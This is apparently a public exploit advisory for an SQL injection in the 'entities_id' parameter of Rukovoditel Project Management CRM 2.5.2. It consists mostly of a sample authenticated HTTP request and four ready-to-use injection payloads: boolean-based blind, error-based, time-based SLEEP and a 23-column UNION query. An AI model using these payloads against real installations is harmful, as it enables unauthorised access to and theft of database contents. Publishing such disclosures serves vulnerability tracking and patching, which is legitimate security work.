Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection

# Exploit Title: Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection
# Google Dork: N/A
# Date: 2020-01-15
# Blog: https://fatihhcelik.blogspot.com/
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Version: 2.5.2
# Tested on: Kali Linux
# CVE : N/A

 

# Request,
GET /ruko/index.php?module=entities/fields&entities_id=25 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ruko/index.php?module=entities/fields&entities_id=25
Connection: close
Cookie: cookie_test=please_accept_for_session; sid=3jnq6vg6ovl2cq0ojpsff4vaol; hblid=9P5zBGVwXwPEgj9L3m39N0U0I0A6O221; olfsk=olfsk14190220759411198; xoadmstyle=silver
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# PAYLOADS,

# Parameter: entities_id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause

Payload: module=entities/fields&entities_id=25' AND 2091=2091 AND 'emRY'='emRY

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: module=entities/fields&entities_id=25' AND (SELECT 2023 FROM(SELECT COUNT(*),CONCAT(0x716b706a71,(SELECT (ELT(2023=2023,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ZZpM'='ZZpM

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: module=entities/fields&entities_id=25' AND (SELECT 5681 FROM (SELECT(SLEEP(5)))rdOz) AND 'vWza'='vWza

# Type: UNION query
# Title: Generic UNION query (NULL) - 23 columns

Payload: module=entities/fields&entities_id=25' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706a71,0x5a664143527068525459496254624c514e45694d42776a6d67614a68434c6762434f62514d4f4566,0x7162787871),NULL-- syQw